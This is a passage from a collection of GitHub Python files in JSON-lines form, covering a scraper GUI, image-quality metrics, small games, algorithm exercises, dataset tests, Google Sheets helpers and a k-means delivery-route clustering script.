              \" in the correct format in this field:\\n{}\".format(item.cget('text')))\n            return False\n\n    def runProgram(self):\n\n        mainProgram = GumtreeScraper.main(str(self.search_entry.get()), str(self.location_entry.get()),\n                                          int(self.num_pages_entry.get()), str(self.filename_entry.get()))\n\n        if self.validateEntries() >= 5:\n            if mainProgram:\n                self.status_bar_content.set(\"Done! check your {} file\".format(self.filename_entry.get() +\n                                                                              filename_extension))\n\nif __name__ == '__main__':\n\n    filename_extension = \".csv\"\n    app_version = \"V1.7\"\n\n    root = Tk()\n    root.title(\"Gumtree Scraper {}\".format(app_version))\n\n    app = App(root)\n\n    root.mainloop()\n","repo_name":"anasyusef/gumtree-scraper","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4568,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"21"}
+{"seq_id":"393399359","text":"from ridgefollowing.surfaces import muller_brown, quadratic\nfrom ridgefollowing.plotting import plot_surface\nfrom ridgefollowing.algorithms import minimizer, ridgefollower\nimport numpy as np\nimport pandas as pd\nfrom pandas import DataFrame\nimport matplotlib\n\ngui_env = [\"Qt5Agg\"]\nfor gui in gui_env:\n    try:\n        print(\"testing\", gui)\n        matplotlib.use(gui, force=True)\n        from matplotlib import pyplot as plt\n\n        break\n    except Exception as e:\n        print(e)\n        continue\nprint(\"Using:\", matplotlib.get_backend())\n\nesurf = muller_brown.MullerBrownSurface()\nlims = np.array([[-0.5, 1.0], [-0.5, 0.6]])\nlims = np.array([[-1.5, 1.5], [-0.5, 2]])\n\n# esurf = quadratic.QuadraticSurface( np.diag( [1,1] ) )\n# lims = np.array([[-2,2],[-2,2]])\n\nsettings = plot_surface.PlotSettings(\n    lims=lims,\n    npoints=[64, 64],\n    plot_energy=plot_surface.ScalarPlotSettings(\n        contours_filled=False,\n        contours=True,\n        colors=\"white\",\n        colormap=None,\n        contourlevels=15,\n    ),\n    # plot_c_grad_norm=plot_surface.ScalarPlotSettings(log_compression=True),\n    plot_c2=plot_surface.ScalarPlotSettings(log_compression=False, colormap=\"cividis\"),\n    plot_gradient_c2=plot_surface.VectorPlotSettings(\n        color=\"grey\", streamplot=True, quiver=False\n    ),\n    output_data_folder=\"./data_ridge2\",\n    # input_data_folder=\"./data_ridge2\",\n    outfile=\"plot_ridge.png\",\n)\n\nmin = minimizer.Minimizer(energy_surface=esurf)\nx_min_1 = min.minimize_energy(np.array([-0.5, 1.5]))\nx_min_2 = min.minimize_energy(np.array([0.5, 0.0]))\n\nfollower = ridgefollower.RidgeFollower(esurf, radius=4e-2, n_iterations_follow=40)\n\nfollower.follow(x_min_2, [-1.0, 1.0])\n\nsettings.path_plots.append(\n    plot_surface.PathPlotSettings(points=follower.history[\"x_cur\"], color=\"C1\")\n)\n\n# settings.path_plots.append(\n#     plot_surface.PathPlotSettings(points=np.array(follower.history[\"bifurcation_points\"]), color=\"grey\", ls=\"None\", marker=\"o\")\n# )\n\nsettings.show = True\n\nret = plot_surface.plot(esurf, settings=settings)\n\nE = follower.history[\"E\"]\nplt.plot(E)\nplt.ylabel(\"E\")\nplt.show()\nplt.close()\n\nc2 = follower.history[\"c2\"]\nplt.plot(c2)\nplt.ylabel(\"c2\")\nplt.show()\n\nplt.close()\nd = follower.history[\"d_cur\"]\ngrad_c2 = follower.history[\"grad_c2\"]\nplt.plot([np.dot(_d, _g) for _d, _g in zip(d, grad_c2)])\nplt.ylabel(\"dot\")\nplt.show()\n","repo_name":"MSallermann/cos2_ridge_following","sub_path":"scripts/misc/plot_ridge.py","file_name":"plot_ridge.py","file_ext":"py","file_size_in_byte":2356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"15439381913","text":"import sys\nimport torch\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\nfrom math import exp\nimport lpips\n\ndef PSNR(img1, img2):\n    SE_map = (1. * img1 - img2) ** 2\n    cur_MSE = torch.mean(SE_map)\n    return float(20 * torch.log10(1. / torch.sqrt(cur_MSE)))\n\n\ndef SSIM(img1, img2, window_size=11, size_average=True):\n    (_, channel, _, _) = img1.size()\n\n    gauss = torch.Tensor([exp(-(x - window_size // 2) ** 2 /float(2 * 1.5 ** 2)) for x in range(window_size)])\n    gauss = gauss / gauss.sum()\n    _1D_window = gauss.unsqueeze(1)\n    _2D_window = _1D_window.mm(_1D_window.t()).float().unsqueeze(0).unsqueeze(0)\n    window = Variable(_2D_window.expand(channel, 1, window_size, window_size).contiguous())\n    \n    if img1.is_cuda:\n        window = window.cuda(img1.get_device())\n    window = window.type_as(img1)\n\n    mu1 = F.conv2d(img1, window, padding = window_size // 2, groups = channel)\n    mu2 = F.conv2d(img2, window, padding = window_size // 2, groups = channel)\n\n    mu1_sq = mu1.pow(2)\n    mu2_sq = mu2.pow(2)\n    mu1_mu2 = mu1*mu2\n\n    sigma1_sq = F.conv2d(img1 * img1, window, padding = window_size // 2, groups = channel) - mu1_sq\n    sigma2_sq = F.conv2d(img2 * img2, window, padding = window_size // 2, groups = channel) - mu2_sq\n    sigma12 = F.conv2d(img1 * img2, window, padding = window_size // 2, groups = channel) - mu1_mu2\n\n    C1 = 0.01 ** 2\n    C2 = 0.03 ** 2\n\n    ssim_map = ((2 * mu1_mu2 + C1) * (2 * sigma12 + C2)) / ((mu1_sq + mu2_sq + C1) * (sigma1_sq + sigma2_sq + C2))\n\n    if size_average:\n        return float(ssim_map.mean())\n    else:\n        return ssim_map.mean(1).mean(1).mean(1)\n\n\ndef LPIPS(img1, img2):\n    # Normalize to [-1, 1]\n    img1 = 2 * (img1 / 255.) - 1\n    img2 = 2 * (img2 / 255.) - 1\n    loss_fn = lpips.LPIPS(net='alex')\n    result = float(torch.mean(loss_fn.forward(img1, img2)))\n    return result\n\n\ndef PCVC(img1, img2):\n    pass\n\n\ndef colorfulness(imgs):\n    \"\"\"\n    according to the paper: Measuring colourfulness in natural images\n    input is batches of ab tensors in lab space\n    \"\"\"\n    N, C, H, W = imgs.shape\n    a = imgs[:, 0:1, :, :]\n    b = imgs[:, 1:2, :, :]\n\n    a = a.view(N, -1)\n    b = b.view(N, -1)\n\n    sigma_a = torch.std(a, dim=-1)\n    sigma_b = torch.std(b, dim=-1)\n\n    mean_a = torch.mean(a, dim=-1)\n    mean_b = torch.mean(b, dim=-1)\n\n    return torch.sqrt(sigma_a ** 2 + sigma_b ** 2) + 0.37 * torch.sqrt(mean_a ** 2 + mean_b ** 2)\n\n\ndef cosine_similarity(img1, img2):\n    input_norm = torch.norm(img1, 2, 1, keepdim=True) + sys.float_info.epsilon\n    target_norm = torch.norm(img2, 2, 1, keepdim=True) + sys.float_info.epsilon\n    normalized_input = torch.div(img1, input_norm)\n    normalized_target = torch.div(img2, target_norm)\n    cos_similarity = torch.mul(normalized_input, normalized_target)\n    return float(torch.mean(cos_similarity))","repo_name":"wensi-ai/Colorizer","sub_path":"utils/metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":2850,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"}
+{"seq_id":"605718454","text":"import aiosqlite, asyncio\nimport itertools\nimport json\nfrom flask import Flask, jsonify, request\n\napp = Flask(__name__)\n\nDATABASE = \"questions.db\"\n\n\n@app.post(\"/question\")\nasync def route_questions():\n\n    async with aiosqlite.connect(DATABASE) as db:\n        db.row_factory = aiosqlite.Row\n        resp = []\n        for number, question in enumerate(request.json):\n            this_resp = {\n                \"Number\": number + 1,\n                \"Answer\": None,\n            }\n            print(f\"Question number {question['Number']}: \")\n            print(f\"Question: {question['Content']}\")\n            answer_fromdb = await db.execute(\n                \"SELECT QuestionAnswer FROM Questions WHERE QuestionContent=:q_content\",\n                {\"q_content\": question[\"Content\"]},\n            )\n            row = await answer_fromdb.fetchone()\n            for option in question[\"Options\"]:\n                # show all options and answers\n                # print(\n                #     f\"Option {option['OptionKey']}: {option['OptionContent']}\", end=\" \"\n                # )\n                if option[\"OptionContent\"] == row[0]:\n                    print(\n                        f\"Ans : Option {option['OptionKey']}: {option['OptionContent']}\"\n                    )\n                    # print(\"Correct Answer\")\n                    this_resp[\"Answer\"] = option[\"OptionKey\"]\n\n            resp.append(this_resp)\n\n        return json.dumps(resp)\n        # return jsonify(resp)\n\n\nif __name__ == \"__main__\":\n    app.run(debug=True)\n","repo_name":"vietanhdang/API-QA","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"29853846440","text":"import numpy as np\n\nfrom mirdata.datasets import beatport_key\nfrom tests.test_utils import run_track_tests\n\n\ndef test_track():\n    default_trackid = \"1\"\n    data_home = \"tests/resources/mir_datasets/beatport_key\"\n    dataset = beatport_key.Dataset(data_home)\n    track = dataset.track(default_trackid)\n\n    expected_attributes = {\n        \"audio_path\": \"tests/resources/mir_datasets/beatport_key/audio/100066 Lindstrom - Monsteer (Original Mix).mp3\",\n        \"keys_path\": \"tests/resources/mir_datasets/beatport_key/keys/100066 Lindstrom - Monsteer (Original Mix).txt\",\n        \"metadata_path\": \"tests/resources/mir_datasets/beatport_key/meta/100066 Lindstrom - Monsteer (Original Mix).json\",\n        \"title\": \"100066 Lindstrom - Monsteer (Original Mix)\",\n        \"track_id\": \"1\",\n    }\n\n    expected_property_types = {\n        \"key\": list,\n        \"genres\": dict,\n        \"artists\": list,\n        \"tempo\": int,\n        \"audio\": tuple,\n    }\n\n    run_track_tests(track, expected_attributes, expected_property_types)\n\n    audio, sr = track.audio\n    assert sr == 44100, \"sample rate {} is not 44100\".format(sr)\n    assert audio.shape == (88200,), \"audio shape {} was not (88200,)\".format(\n        audio.shape\n    )\n\n\ndef test_to_jams():\n    data_home = \"tests/resources/mir_datasets/beatport_key\"\n    dataset = beatport_key.Dataset(data_home)\n    track = dataset.track(\"1\")\n    jam = track.to_jams()\n    assert jam[\"sandbox\"][\"key\"] == [\"D minor\"], \"key does not match expected\"\n\n    assert (\n        jam[\"file_metadata\"][\"title\"] == \"100066 Lindstrom - Monsteer (Original Mix)\"\n    ), \"title does not match expected\"\n    sand_box = {\n        \"artists\": [\"Lindstrom\"],\n        \"genres\": {\"genres\": [\"Electronica / Downtempo\"], \"sub_genres\": []},\n        \"tempo\": 115,\n        \"key\": [\"D minor\"],\n    }\n    assert dict(jam[\"sandbox\"]) == sand_box, \"sandbox does not match expected\"\n\n\ndef test_load_key():\n    key_path = \"tests/resources/mir_datasets/beatport_key/keys/100066 Lindstrom - Monsteer (Original Mix).txt\"\n    key_data = beatport_key.load_key(key_path)\n\n    assert type(key_data) == list\n\n    assert key_data == [\"D minor\"]\n\n    assert beatport_key.load_key(None) is None\n\n\ndef test_load_meta():\n    meta_path = \"tests/resources/mir_datasets/beatport_key/meta/100066 Lindstrom - Monsteer (Original Mix).json\"\n    genres = {\"genres\": [\"Electronica / Downtempo\"], \"sub_genres\": []}\n    artists = [\"Lindstrom\"]\n    tempo = 115\n\n    assert type(beatport_key.load_genre(meta_path)) == dict\n    assert type(beatport_key.load_artist(meta_path)) == list\n    assert type(beatport_key.load_tempo(meta_path)) == int\n\n    assert beatport_key.load_genre(meta_path) == genres\n    assert beatport_key.load_artist(meta_path) == artists\n    assert beatport_key.load_tempo(meta_path) == tempo\n\n    assert beatport_key.load_genre(None) is None\n    assert beatport_key.load_artist(None) is None\n    assert beatport_key.load_tempo(None) is None\n\n\ndef test_find_replace():\n    with open(\n        \"tests/resources/mir_datasets/beatport_key/find_replace.json\", \"w\"\n    ) as the_file:\n        the_file.write('{\"probando\": nan}')\n    dataset = beatport_key.Dataset()\n    dataset._find_replace(\n        \"tests/resources/mir_datasets/beatport_key\", \": nan\", \": null\", \"*.json\"\n    )\n    f = open(\"tests/resources/mir_datasets/beatport_key/find_replace.json\", \"r\")\n    content = f.read()\n    assert content == '{\"probando\": null}'\n","repo_name":"sebastianrosenzweig/mirdata","sub_path":"tests/datasets/test_beatport_key.py","file_name":"test_beatport_key.py","file_ext":"py","file_size_in_byte":3409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"}
+{"seq_id":"14789300198","text":"\"\"\"Interacts with the user, ask them questions, \nreceive their answers, marks the answers, keeps the score and gives them \ntheir results at the end\"\"\"\n\nfrom library.quizsheet import Quizsheet\nfrom library.contestant import Contestant\n\n\nclass Game(object):\n    'Returns a game object'\n\n    def __init__(self, name, duration):\n        self.quiz = Quizsheet()\n        self.contestant = Contestant(name)\n        self.totalquestions = int(duration)\n        pass\n\n    def play(self):\n        for i in range(self.totalquestions):\n            thisquestion = self.quiz.getQuestionByNumber(i)\n\n            print(chr(27) + \"[2J\")  # clear screen\n\n            print(thisquestion.getQuestionText())\n            print(thisquestion.getOptionsText())\n\n            'Get the users answer \\\n            If the user does not want to quit, \\\n            cast their answer as an integer and correct for zero based index.'\n\n            answer = input('\\n> ')\n            if answer.upper() != 'Q':\n                try:\n                    answer = int(answer)\n                except:\n                    answer = None\n\n            print(chr(27) + \"[2J\")  # clear screen\n\n            if answer == thisquestion.getAnswer():\n                print('Correct.')          \n                self.contestant.updateScore(1)\n                input('\\n>')\n            elif answer:\n                print('Sorry {0} that is incorrect. The answer is {1}. '.format(self.contestant.getName(), thisquestion.getAnswerText()))\n                input('\\n>')\n            else:\n                print('Invalid input. The answer is {0}. '.format(thisquestion.getAnswerText()))\n                input('\\n>')\n\n        print(chr(27) + \"[2J\")  # clear screen\n\n        print('{0}, you scored {1} out of {2}\\n'.format(self.contestant.getName(), self.contestant.getScore(), self.totalquestions))\n        again = input('Play again? (Y) \\n\\nAny other key to quit\\n\\n> ')\n        if again.upper() == 'Y':\n            newgame = Game(self.contestant.getName(), self.totalquestions)\n            newgame.play()\n","repo_name":"knobay/jempython","sub_path":"quiz_program/library/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":2044,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"25456912237","text":"from collections import deque\n\nupDown = [0, -1, 0, 0, 1]\nleftRight = [-1, 0, 0, 1, 0]\n\nheight, width = map(int, input().split())\n\nboard = [[\"\" for i in range(width)] for i in range(height)]\n\nbfsDeque = deque()\nfor i in range(height):\n    firstLine = input()\n    for j in range(width):\n        board[i][j] = firstLine[j]\n\n        if board[i][j] == \"D\":\n            bfsDeque.append([i, j, 0, \"\"])\n\ntimeNum = int(input())\nmoveList = []\nfor i in range(timeNum):\n    secondLine = input().split()\n    moveList.append([secondLine[0], secondLine[1]])\n\nresult = \"\"\nresultCheck = False\nwhile bfsDeque:\n    thisDeque = bfsDeque.popleft()\n\n    if thisDeque[2] < timeNum:\n        for i in range(2):\n            thisHeight = (thisDeque[0] + upDown[(ord(moveList[thisDeque[2]][i])-65)%7])\n            thisWidth = (thisDeque[1] + leftRight[(ord(moveList[thisDeque[2]][i])-65)%7])\n\n            if 0 <= thisHeight < height and 0 <= thisWidth < width:\n                if board[thisHeight][thisWidth] != \"@\":\n                    bfsDeque.append([thisHeight, thisWidth, (thisDeque[2]+1), (thisDeque[3] + moveList[thisDeque[2]][i])])\n\n                    if board[thisHeight][thisWidth] == \"Z\":\n                        resultCheck = True\n                        result = (thisDeque[3] + moveList[thisDeque[2]][i])\n                        break\n    \n        if resultCheck:\n            break\n\nif resultCheck:\n    print(\"YES\\n\" + result)\nelse:\n    print(\"NO\")","repo_name":"jy940408/algorithm_python","sub_path":"PYTHONBreadthFirstSearch/다오의데이트.py","file_name":"다오의데이트.py","file_ext":"py","file_size_in_byte":1435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"17370804602","text":"import sys\n\nsys.stdin = open(\"./data/sample_input.txt\")\n\ndh = [-1, 1, 0, 0]  # 상 하 좌 우\ndw = [0, 0, -1, 1]  # 상 하 좌 우\n\n\ndef dfs(depth):\n    global current_line_num\n    global max_count\n    global result\n    if depth == len(core_dict_keys):\n        core_len = len(core_dict) - list(core_dict.values()).count(4)\n        if core_len > max_count:\n            max_count = core_len\n            result = current_line_num\n        elif core_len == max_count:\n            if result > current_line_num:\n                result = current_line_num\n        return\n\n    while True:\n        current_core_depth = core_dict[core_dict_keys[depth]]\n        if current_core_depth == 5:\n            core_dict[core_dict_keys[depth]] = 0\n            break\n        elif current_core_depth == 4:\n            pass\n        else:\n            current_h, current_w = core_dict_keys[depth]\n            nh = dh[current_core_depth]\n            nw = dw[current_core_depth]\n            temp_list = []\n            is_ok = True\n            while True:\n                current_h += nh\n                current_w += nw\n                if current_h < 0 or current_w < 0 or current_h >= n or current_w >= n:\n                    break\n                if board_list[current_h][current_w] != 0:\n                    is_ok = False\n                    break\n                temp_list.append((current_h, current_w))\n            if is_ok:\n                for h, w in temp_list:\n                    board_list[h][w] = 2\n                    current_line_num += 1\n            else:\n                core_dict[core_dict_keys[depth]] += 1\n                continue\n\n        dfs(depth + 1)\n        if current_core_depth < 4:\n            current_h, current_w = core_dict_keys[depth]\n            while True:\n                current_h += nh\n                current_w += nw\n                if current_h < 0 or current_w < 0 or current_h >= n or current_w >= n:\n                    break\n                board_list[current_h][current_w] = 0\n                current_line_num -= 1\n        core_dict[core_dict_keys[depth]] += 1\n\n\ntest_case_num = int(input())\nfor test_case_index in range(test_case_num):\n    already_connect_num = 0\n    max_count = 0\n    result = 0\n    current_line_num = 0\n    n = int(input())\n    board_list = []\n    core_dict = {}\n    for i in range(n):\n        temp_list = list(map(int, input().split()))\n        for j in range(n):\n            if temp_list[j] == 1:\n                if i == 0 or j == 0 or i == n - 1 or j == n - 1:\n                    already_connect_num += 1\n                else:\n                    core_dict[(i, j)] = 0\n        board_list.append(temp_list)\n    core_dict_keys = list(core_dict.keys())\n    dfs(0)\n    print(\"#%d %d\" % (test_case_index + 1, result))\n","repo_name":"mgh3326/sw_expert_academy_algorithm","sub_path":"1767. [SW Test 샘플문제] 프로세서 연결하기/다시풀기.py","file_name":"다시풀기.py","file_ext":"py","file_size_in_byte":2751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"28307039777","text":"'''Elabore um programa que leia uma matriz quadrada A de tamanho m, calcule o\nnúmero de zeros contidos na matriz. Imprimir a matriz lida sob a forma de tabela\ne o resultado obtido.'''\n\ndef GeraMatrix():\n    #Gera uma matriz quadrada\n    matriz = []    \n    while True:\n        try:\n            m = int(input('Digite um termo para fazer uma matriz quadrada [m x m]: '))\n            break\n        except ValueError:\n            print('Nao digitou um valor ou digitou uma letra')\n    termos = m ** 2\n\n    with open('5p5.txt','w+') as file:\n        for i in range(termos):\n            while True:\n                try:\n                    n = int(input('Digite um numero: '))\n                    break\n                except ValueError:\n                    print('Numero errado. Tente novamente...')\n                file.write(str(n)+'\\n')\n    return m\n\ndef Ler(m):\n    #Aqui se forma a matriz\n    with open('5p5.txt','r') as file:\n        k = 0\n        v = file.readlines()\n        a = [None] * m\n        for i in range(m):\n            a[i] = [None] * m\n            for j in range(m):\n                a[i][j] = v[k]\n                k += 1\n            matriz.append(a[i][j])\n    return a, matriz\n\ndef ContaZeros(matriz):\n    #O codigo ira percorrer cada linha da matriz a procura de zero\n    cont = 0\n    for z in range(len(matriz)):\n        if z == 0:\n            cont += 1\n    return cont\n\ndef Impr(a, cont):\n    print('O total de zeros na matriz eh {}'.format(cont))\n    for l in range(len(a)):\n        for c in range(len(a)):\n            print('[{}]'.format(a[l][c]), end='')\n        print()\n    return\n\nm = GeraMatrix()\na, matriz = Ler(m)\ncont = ContaZeros(a)\nImpr(a, cont)","repo_name":"argosmaia/UERJ-python","sub_path":"5p5.py","file_name":"5p5.py","file_ext":"py","file_size_in_byte":1674,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"41264629986","text":"import pygame\n\nclass Player():\n    def __init__(self, img, limits):\n        self.x = 0\n        self.y = 0\n        self.speed = 0.2\n        self.image = pygame.image.load(img)\n        self.width = 64\n        self.height = 64\n\n        self.health = 5\n        self.lifeBars = []\n\n        for c in range(self.health):\n            self.lifeBars.append([pygame.image.load(\"images/lifebarFull.png\"), 1])\n\n        self.shootImg = \"images/shot.png\"\n        self.shots = []\n        self.timeShot = 0\n        self.shootDelay = 300\n        self.shootSound = pygame.mixer.Sound(\"sounds/playershoot.mp3\")\n\n        self.limits = [[0, limits[0]], [0, limits[1]]]\n\n        self.stage = 1\n\n    def draw(self, surf):\n        surf.blit(self.image, (self.x, self.y))\n\n        lfBrs = 0\n        for c in self.lifeBars:\n            surf.blit(c[0], (self.limits[0][1] - 80 * (lfBrs+1), 10))\n            lfBrs += 1\n\n        for c in self.shots:\n            surf.blit(c[0], (c[1], c[2]))\n\n            if c[2] + 8 < 0:\n                self.shots.remove(c)           \n\n\n    def move(self, dt):\n        keys = pygame.key.get_pressed()\n\n        if keys[pygame.K_a]:\n            self.x -= self.speed * dt\n        if keys[pygame.K_d]:\n            self.x += self.speed * dt\n        if keys[pygame.K_w]:\n            self.y -= self.speed * dt\n        if keys[pygame.K_s]:\n            self.y += self.speed * dt\n\n        if self.limits[0][0] > self.x:\n            self.x = self.limits[0][0]\n\n        elif self.x + self.width > self.limits[0][1]:\n            self.x = self.limits[0][1] - self.width\n        \n        if self.limits[1][0] > self.y:\n            self.y = self.limits[1][0]\n        elif self.y + self.height > self.limits[1][1]:\n            self.y = self.limits[1][1] - self.height\n\n    def updateShots(self, dt):\n        for c in self.shots:\n            c[2] -= self.speed * 2 * dt           \n\n    def shoot(self, dt):\n        keys = pygame.key.get_pressed()\n\n        if keys[pygame.K_SPACE] and self.timeShot <= 0:\n            self.shootSound.play()\n\n            x = self.x + self.width/2 - 2\n            y = self.y - 8\n\n            self.shots.append([pygame.image.load(self.shootImg), x, y])\n\n            self.timeShot = self.shootDelay\n\n        self.timeShot -= dt\n        self.updateShots(dt)\n","repo_name":"EnriqueThomazz/SpaceInvaders","sub_path":"code/player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":2272,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"17386949898","text":"import tkinter as tk\n\n\nplayer = 'X'\nboard_game = []\ngame = True\n\n\ndef create_board_game(window):\n    for row in range(3):\n        rows = []\n        for col in range(3):\n            button = tk.Button(window, text='  ', padx=50, pady=50,\n                               command=lambda x=row, y=col: click(x, y))\n            button.grid(row=row, column=col)\n            rows.append(button)\n        board_game.append(rows)\n    new_button = tk.Button(window, text='New game', command=new_game)\n    new_button.grid(row=3, column=0, columnspan=3)\n\n\ndef new_game():\n    global game\n    for row in range(3):\n        for col in range(3):\n            board_game[row][col]['text'] = '  '\n    game = True\n\n\ndef click(row, col):\n    global player, game\n    if game and board_game[row][col]['text'] == '  ':\n        board_game[row][col]['text'] = player\n        check_win(board_game, player)\n        player = 'O' if player == 'X' else 'X'\n\n\ndef check_win(board, smb):\n    global game\n    board_trans = [[board[j][i]['text'] for j in range(len(board))] for i in\n                   range(len(board[0]))]\n    diagonal_1 = all([board[i][i]['text'] == smb for i in range(3)])\n    diagonal_2 = all([board[0][2]['text'] == smb, board[1][1]['text'] == smb,\n                      board[2][0]['text'] == smb])\n    if any([check_row(board, smb), diagonal_1, diagonal_2,\n            check_row(board_trans, smb)]):\n        game = False\n\n\ndef check_row(board, smb):\n    global game\n    for row in board:\n        if all([i == smb for i in row]):\n            game = False\n","repo_name":"Akinshina-EV/HomeWork_Py","sub_path":"game_XO_utils.py","file_name":"game_XO_utils.py","file_ext":"py","file_size_in_byte":1541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"12519825380","text":"from setuptools import setup, find_packages\nimport pycirkuit\nimport platform\n\nwith open(\"README.md\", \"r\") as fh:\n    long_description = fh.read()\n    \nsetup(name = 'pycirkuit',\n    version = pycirkuit.__version__,\n    description = pycirkuit.__description__, \n    long_description = long_description,\n    long_description_content_type = \"text/markdown\",\n    url = pycirkuit.__homepage__,\n    author = pycirkuit.__author__,\n    author_email = pycirkuit.__author_email__,\n    license = pycirkuit.__license_short__,\n    packages = find_packages(),\n    package_data = {\n        'pycirkuit': ['doc/*', 'lib/*', 'templates/*', 'examples/*'],\n    },\n    entry_points = {\n        'gui_scripts': [\n            'pycirkuit = pycirkuit.main:main',\n        ],\n    },\n    classifiers = [\n        \"Programming Language :: Python :: 3\",\n        \"License :: OSI Approved :: GNU General Public License v3 or later (GPLv3+)\",\n        \"Operating System :: OS Independent\",\n        \"Topic :: Multimedia :: Graphics :: Editors\",\n        \"Topic :: Scientific/Engineering\",\n        \"Intended Audience :: Education\",\n        \"Intended Audience :: Science/Research\",\n        \"Intended Audience :: End Users/Desktop\",\n    ],\n    install_requires = [\n        # Debian package is python3-pyqt5\n        'PyQt5',\n        'wheel',\n        # Debian package is python3-magic\n        'python-magic-bin' if platform.system() == 'Windows' else 'python-magic'\n    ],\n    zip_safe = True)\n","repo_name":"orestesmas/pycirkuit","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1450,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"21"}
+{"seq_id":"523447588","text":"'''\nA bunch of common functions\n'''\n\nimport gspread\nfrom gspread_formatting import *\nimport pandas as pd\nimport sys\nimport time\n\ndef create_sheet(title):\n\t'''\n\t\tfunciton intiatates the file \n\t'''\n\tgc=gspread.oauth()\n\ttry:\n\t\t#if it exists, delete it\n\t\tsh=gc.open(title)\n\t\tgc.del_spreadsheet(sh.id)\n\t\t#then create a new one\n\t\tsh=gc.create(title)\n\texcept:\n\t\t#or just create a new one\n\t\tsh=gc.create(title)\n\treturn sh\n\n\ndef get_teams_opponents():\n\t'''\n\t\treads the master schedule csf and creates a dictionary.\n\t\tand returns for use in master function\n\t\ttwo lists is propbably fine and easy for our iteration\n\t'''\n\tdataset = pd.read_csv('schedule.csv',encoding='utf-16')\n\tteams = dataset.iloc[:, 0].values\n\topponents=dataset.iloc[:, 1:].values\n\t\n\treturn (teams,opponents)\n\t\ndef get_users():\n\t'''\n\t\tget users\n\t'''\n\tdataset = pd.read_csv('users.csv',encoding='utf-16')\n\tusers= dataset.iloc[:, :].values\n\t#print(users)\n\t\n\treturn users\n\n\n","repo_name":"CMcFeaters/pickem","sub_path":"common_functions.py","file_name":"common_functions.py","file_ext":"py","file_size_in_byte":929,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"560475438","text":"\"\"\"\nAuthor: Casey McGinley\n\nMain script for this project. Takes a CSV file of client data, parses it, \napplies k-means clustering to identify optimal routes, and outputs a HTML files\nfor each route and for a master list\n\"\"\"\n\nimport utm\nimport csv\nfrom geopy.geocoders import GoogleV3\nimport numpy as np\nfrom motionless import DecoratedMap, AddressMarker\nfrom bs4 import BeautifulSoup\nimport sys\nimport kmeans\nimport logging\n\nfrom local_settings import GEOCODE_API_KEY, CLUSTER_NUM\n\nlogging.basicConfig(filename='test.log', format=\"[%(asctime)s][%(levelname)s] %(message)s\")\nLOG = logging.getLogger(__name__)\n\n\ndef read_csv(filename):\n    \"\"\"\n    Reads data from CSV and attempts to translate geo data into usable Google \n    Maps data \n\n    Returns UTM coordinates and supplementary data\n    \"\"\"\n    geocoder = GoogleV3(api_key=GEOCODE_API_KEY)\n    raw_data = []\n    addresses = []\n    latlong = []\n    partials = []\n    x_coords = []\n    y_coords = []\n    with open(filename, 'r') as raw_file:\n        i = 0\n        reader = csv.reader(raw_file, delimiter=\",\", quotechar=\"\\\"\")\n        for row in reader:\n            # skip header row\n            if i == 0:\n                i += 1\n                continue\n            # progress report\n            elif i % 10 == 0:\n                print(i)\n            i += 1\n\n            # keep record of raw data\n            raw_data.append(row)\n\n            # translate to a \"Google-approved\" address (with lat/long)\n            address = row[9]\n            zip_code = row[8]\n            town = row[7]\n            query = \" \".join([address, town, 'NY', zip_code])\n            j = 0\n            resp = None\n            while j < 10:\n                try:\n                    resp = geocoder.geocode(query, timeout=5)\n                    break\n                except:\n                    j += 1\n\n            if resp is None:\n                print(\"resp = None\")\n                import IPython\n                IPython.embed()\n                sys.exit()\n            addresses.append(resp.address)\n\n            # track latitude and longitude\n            lat = resp.latitude\n            lon = resp.longitude\n            latlong.append([lat, lon])\n\n            # track partial matches\n            if 'partial_match' in resp.raw:\n                if resp.raw['partial_match']:\n                    partials.append((i - 1, row, resp))\n\n            # translate lat/long to UTM coords\n            # TODO: what are UTM coords?\n            utm_coords = utm.from_latlon(lat, lon)\n            x = utm_coords[0]\n            y = utm_coords[1]\n            x_coords.append(x)\n            y_coords.append(y)\n\n    # collect extra data\n    extra_data = {}\n    extra_data['raw'] = raw_data\n    extra_data['addr'] = addresses\n    extra_data['latlong'] = latlong\n    extra_data['partials'] = partials\n\n    return x_coords, y_coords, extra_data\n\n\ndef cluster(filename, k):\n    \"\"\"\n    Applies the k-means clustering to a given file\n\n    Returns the list of centroids, the clusters, the cluster map, as well as\n    various supplemental data\n    \"\"\"\n    # parse the CSV\n    x_coords, y_coords, extra = read_csv(filename)\n\n    # join the X/Y coordinates into a numpy array\n    data = []\n    for i in range(len(x_coords)):\n        x = x_coords[i]\n        y = y_coords[i]\n        data.append(np.array([x, y]))\n    data = np.array(data)\n\n    # apply k-means clustering\n    result = list(kmeans.find_centers(data, k))\n\n    result.append(extra)\n    return tuple(result)\n\n\ndef generate_map_url(addresses, cluster_map, cluster_num):\n    \"\"\"\n    Given a cluster, generate a static Google Maps image with a pin for each \n    address\n\n    Returns the URL to this static image\n    \"\"\"\n    # get the subset of addresses\n    sa = []\n    for i in 